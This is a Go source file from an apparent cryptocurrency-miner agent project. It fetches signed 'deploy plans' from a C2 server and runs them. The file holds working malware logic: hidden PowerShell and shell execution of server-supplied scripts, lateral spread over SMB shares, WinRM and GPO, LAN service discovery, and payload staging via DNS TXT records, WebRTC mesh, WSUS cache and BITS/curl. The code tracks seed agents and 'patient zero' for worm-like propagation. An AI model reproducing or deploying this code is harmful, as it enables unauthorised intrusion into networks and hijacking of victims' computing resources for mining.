Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
451 lines
15 KiB
Go
451 lines
15 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
|
type SpreadRouteHint struct {
|
|
TargetSubnet string `json:"target_subnet"`
|
|
SeedAgentID string `json:"seed_agent_id"`
|
|
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
|
EgressAgentID string `json:"egress_agent_id"`
|
|
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
|
SessionID string `json:"session_id,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
Score float64 `json:"score,omitempty"`
|
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
|
RouteVia string `json:"route_via,omitempty"`
|
|
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
|
}
|
|
|
|
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
|
type WebRTCMeshPlanBody struct {
|
|
STUNServers []string `json:"stun_servers,omitempty"`
|
|
SignalingRelay string `json:"signaling_relay,omitempty"`
|
|
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
|
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
|
RotationHours int `json:"rotation_hours,omitempty"`
|
|
IsSeeder bool `json:"is_seeder,omitempty"`
|
|
}
|
|
|
|
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
|
type DeployPlanBody struct {
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Action string `json:"action"`
|
|
Manifest *StagingManifest `json:"manifest,omitempty"`
|
|
PeerGroup string `json:"peer_group,omitempty"`
|
|
CacheGroup string `json:"cache_group,omitempty"`
|
|
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
|
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
|
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
|
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
|
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
|
Script string `json:"script,omitempty"`
|
|
UNCPath string `json:"unc_path,omitempty"`
|
|
MaxHosts int `json:"max_hosts,omitempty"`
|
|
ImageTarURL string `json:"image_tar_url,omitempty"`
|
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
|
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
|
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
|
|
}
|
|
|
|
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
|
type DeployPlanResponse struct {
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Plan DeployPlanBody `json:"plan"`
|
|
Signature string `json:"signature"`
|
|
}
|
|
|
|
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
|
|
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
|
if fleetSecret == "" || signature == "" {
|
|
return false
|
|
}
|
|
payload, err := json.Marshal(plan)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
expected := hex.EncodeToString(mac.Sum(nil))
|
|
return hmac.Equal([]byte(expected), []byte(signature))
|
|
}
|
|
|
|
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
|
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
|
return ExecuteDeployPlanAs(cfg, plan, "")
|
|
}
|
|
|
|
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
|
|
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
|
|
lane := strings.TrimSpace(plan.JoinLane)
|
|
if lane == "" {
|
|
lane = strings.TrimSpace(plan.Action)
|
|
}
|
|
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
|
return deferMsg, nil
|
|
}
|
|
tryPrimary := func(run func() (string, error)) (string, error) {
|
|
msg, err := run()
|
|
if err == nil {
|
|
return msg, nil
|
|
}
|
|
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
|
if config.FleetTorrentEnabled(cfg) {
|
|
c2 := c2BaseFromPlan(plan)
|
|
localIP, _ := PrimaryLocalIPv4()
|
|
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)); eErr == nil {
|
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
|
}
|
|
}
|
|
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
|
}
|
|
}
|
|
return "", err
|
|
}
|
|
|
|
switch lane {
|
|
case "do_peer":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane do_peer requires staging manifest")
|
|
}
|
|
peer := strings.TrimSpace(plan.PeerGroup)
|
|
if peer == "" {
|
|
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
|
|
})
|
|
case "wsus_cache_peer":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
|
|
}
|
|
group := strings.TrimSpace(plan.CacheGroup)
|
|
if group == "" {
|
|
group = strings.TrimSpace(plan.Manifest.CacheGroup)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
|
|
})
|
|
case "dns_txt":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
|
|
}
|
|
zone := strings.TrimSpace(plan.DNSTXTZone)
|
|
if zone == "" {
|
|
zone = strings.TrimSpace(plan.Manifest.DNSZone)
|
|
}
|
|
ttl := plan.TTLRefreshSec
|
|
if ttl == 0 {
|
|
ttl = plan.Manifest.TTLRefreshSec
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
|
|
})
|
|
case "webrtc_mesh":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
|
|
}
|
|
policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
|
|
if plan.WebRTCMesh != nil {
|
|
policy = WebRTCMeshPolicy{
|
|
STUNServers: plan.WebRTCMesh.STUNServers,
|
|
SignalingRelay: plan.WebRTCMesh.SignalingRelay,
|
|
LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
|
|
SeederAgentID: plan.WebRTCMesh.SeederAgentID,
|
|
RotationHours: plan.WebRTCMesh.RotationHours,
|
|
IsSeeder: plan.WebRTCMesh.IsSeeder,
|
|
}
|
|
}
|
|
if policy.RotationHours <= 0 {
|
|
policy.RotationHours = DefaultWebRTCRotationHours
|
|
}
|
|
execID := strings.TrimSpace(executorAgentID)
|
|
if execID != "" {
|
|
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
|
|
policy.IsSeeder = true
|
|
}
|
|
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
|
|
policy.IsSeeder = true
|
|
}
|
|
}
|
|
if !policy.IsSeeder {
|
|
if seeder := PreferredLANSeeder(); seeder != nil {
|
|
ApplyLANSeederToWebRTC(&policy, seeder)
|
|
}
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
|
Policy: policy,
|
|
SHA256: plan.Manifest.SHA256,
|
|
Dest: plan.Manifest.Dest,
|
|
Launch: plan.Manifest.Launch,
|
|
DLLExport: plan.Manifest.DLLExport,
|
|
DeferMining: plan.Manifest.DeferMining,
|
|
SpreadInstall: plan.Manifest.SpreadInstall,
|
|
})
|
|
})
|
|
case "bits_curl", "docker_load":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
if lane == "docker_load" && plan.ImageTarURL != "" {
|
|
msg += "; docker_load image=" + plan.ImageTarURL
|
|
}
|
|
return msg, nil
|
|
})
|
|
case "winrm":
|
|
if err := runJoinScript(plan.Script, true); err != nil {
|
|
return "", err
|
|
}
|
|
return "winrm bootstrap script executed", nil
|
|
case "gpo":
|
|
if err := runJoinScript(plan.Script, true); err != nil {
|
|
return "", err
|
|
}
|
|
return "gpo startup script executed", nil
|
|
case "linux_lotl":
|
|
if err := runJoinScript(plan.Script, false); err != nil {
|
|
return "", err
|
|
}
|
|
return "linux lotl bootstrap executed", nil
|
|
case "spread_smb_unc":
|
|
unc := strings.TrimSpace(plan.UNCPath)
|
|
if unc == "" {
|
|
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
|
|
}
|
|
max := plan.MaxHosts
|
|
if max <= 0 {
|
|
max = 64
|
|
}
|
|
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
|
|
return msg, nil
|
|
default:
|
|
return "", fmt.Errorf("unsupported join lane %q", lane)
|
|
}
|
|
}
|
|
|
|
func c2BaseFromPlan(plan DeployPlanBody) string {
|
|
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
|
|
return ""
|
|
}
|
|
for _, ref := range plan.ErasurePlan.Shards {
|
|
u := strings.TrimSpace(ref.URL)
|
|
if u == "" || !strings.HasPrefix(u, "http") {
|
|
continue
|
|
}
|
|
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
|
|
return strings.TrimRight(u[:idx], "/")
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
|
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
|
return "", false
|
|
}
|
|
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
|
|
if egress == "" || egress == executorAgentID {
|
|
return "", false
|
|
}
|
|
switch lane {
|
|
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
|
return fmt.Sprintf(
|
|
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
|
|
egress,
|
|
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
|
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
|
), true
|
|
default:
|
|
return "", false
|
|
}
|
|
}
|
|
|
|
func runJoinScript(script string, windows bool) error {
|
|
script = strings.TrimSpace(script)
|
|
if script == "" {
|
|
return fmt.Errorf("empty join script")
|
|
}
|
|
if windows || runtime.GOOS == "windows" {
|
|
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
}
|
|
return HiddenRun("/bin/sh", "-c", script)
|
|
}
|
|
|
|
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
|
|
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
|
|
var out []DeployServiceFinding
|
|
appendHost := func(host ServiceGraphHost) {
|
|
for _, svc := range host.Services {
|
|
name := strings.TrimSpace(svc.ServiceName)
|
|
if name == "" {
|
|
continue
|
|
}
|
|
out = append(out, DeployServiceFinding{
|
|
Name: name,
|
|
Status: serviceStatusForPlan(svc),
|
|
DisplayName: name,
|
|
})
|
|
}
|
|
}
|
|
appendHost(result.Local)
|
|
for _, h := range result.LANHosts {
|
|
appendHost(h)
|
|
}
|
|
return out
|
|
}
|
|
|
|
// DeployServiceFinding mirrors the server deploy-plan request service row.
|
|
type DeployServiceFinding struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type,omitempty"`
|
|
}
|
|
|
|
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
|
|
func PickLocalJoinLane(discoveryJSON string) string {
|
|
result, err := ParseServiceDiscoverJSON(discoveryJSON)
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
var best string
|
|
for _, svc := range result.Local.Services {
|
|
lane := strings.TrimSpace(svc.JoinLaneCandidate)
|
|
if lane == "" {
|
|
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
|
|
}
|
|
if lane != "" {
|
|
best = lane
|
|
}
|
|
}
|
|
return best
|
|
}
|
|
|
|
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
|
|
// fetchPlan is injected for tests.
|
|
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
|
|
|
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
|
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
|
|
}
|
|
|
|
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
|
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
|
result, parseErr := ParseServiceDiscoverJSON(raw)
|
|
if parseErr != nil {
|
|
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
|
|
}
|
|
services := ServicesForDeployPlan(result)
|
|
if len(services) == 0 {
|
|
return "", "", fmt.Errorf("no services discovered")
|
|
}
|
|
|
|
uncPath := firstSMBShareUNC(result)
|
|
resp, err := fetchPlan(services, uncPath)
|
|
if err != nil {
|
|
return "", "", err
|
|
}
|
|
if !resp.OK && resp.Error != "" {
|
|
return "", "", fmt.Errorf("%s", resp.Error)
|
|
}
|
|
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
|
|
return "", "", fmt.Errorf("no allowlisted running services matched")
|
|
}
|
|
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
|
|
return "", "", fmt.Errorf("deploy plan signature invalid")
|
|
}
|
|
joinLane = resp.JoinLane
|
|
if joinLane == "" {
|
|
joinLane = resp.Plan.JoinLane
|
|
}
|
|
if cfg.ScoutMode {
|
|
return joinLane, "scout: join lane mapped (no payload staging)", nil
|
|
}
|
|
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
|
|
if err != nil {
|
|
return joinLane, "", err
|
|
}
|
|
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
|
|
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
|
|
}
|
|
return joinLane, msg, nil
|
|
}
|
|
|
|
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
|
if hint == nil {
|
|
return detail
|
|
}
|
|
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
|
|
strings.TrimSpace(hint.EgressAgentID),
|
|
strings.TrimSpace(hint.SeedAgentID),
|
|
hint.Score,
|
|
)
|
|
if via := strings.TrimSpace(hint.RouteVia); via != "" {
|
|
routeNote += "; route_via=" + via
|
|
}
|
|
if detail == "" {
|
|
return routeNote
|
|
}
|
|
return detail + "; " + routeNote
|
|
}
|
|
|
|
// runServiceDiscoverFn allows tests to stub discovery output.
|
|
var runServiceDiscoverFn func(maxLANHosts int) string
|
|
|
|
func RunServiceDiscoverForJoin(maxLANHosts int) string {
|
|
if runServiceDiscoverFn != nil {
|
|
return runServiceDiscoverFn(maxLANHosts)
|
|
}
|
|
return RunServiceDiscover(maxLANHosts)
|
|
}
|
|
|
|
func firstSMBShareUNC(result ServiceDiscoverResult) string {
|
|
for _, h := range result.LANHosts {
|
|
for _, svc := range h.Services {
|
|
name := strings.ToLower(svc.ServiceName)
|
|
if strings.HasPrefix(name, "smb-share:") {
|
|
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
|
|
if share != "" && h.Host != "" {
|
|
return `\\` + h.Host + `\` + share
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func serviceStatusForPlan(svc ServiceGraphEntry) string {
|
|
if st := strings.TrimSpace(svc.Status); st != "" {
|
|
return st
|
|
}
|
|
switch svc.Source {
|
|
case "lan_port", "smb_share", "passive_hint":
|
|
return "running"
|
|
default:
|
|
return "running"
|
|
}
|
|
}
|